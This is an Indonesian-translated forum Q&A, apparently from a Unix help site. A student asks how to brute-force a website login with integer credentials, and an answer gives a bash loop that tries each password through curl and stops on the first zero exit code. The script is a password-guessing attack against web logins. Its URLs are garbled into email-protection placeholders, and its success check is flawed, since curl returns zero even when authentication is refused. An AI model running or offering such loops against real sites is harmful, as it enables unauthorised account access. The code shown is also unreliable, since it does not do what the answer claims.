Bagaimana saya bisa masuk ke situs web dari terminal?

8

Sebagai seorang mahasiswa ilmu komputer, saya sekarang belajar untuk bekerja dengan baris perintah. Saya perlu menggunakan brute force untuk masuk ke situs web, mengetahui nama pengguna dan kata sandinya adalah bilangan bulat dalam rentang tertentu. Inilah yang saya miliki sejauh ini tetapi sepertinya tidak berhasil.

 for i in {2000..3000}; do curl http://admin:[email protected]/link; done

Bagaimana saya bisa melanjutkan?

Kabachok
sumber

Jawaban:

6

Apa yang kurang rutin Anda adalah beberapa cara untuk keluar setelah yang benar iditemukan. Untuk itu Anda bisa melihat kode keluar yang diberikan kembali dari curl:

for i in {2000..3000}
do 
  curl http://admin:[email protected]/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

Nilai keluar curladalah 0 ketika semuanya benar dan dapat diperiksa langsung setelah program berhenti dengan memeriksa variabel khusus $?. Gunakan man curldan cari untuk EXIT CODEmelihat semua hal yang berbeda curldapat memberi tahu Anda dengan kode keluarnya.

Anthon
sumber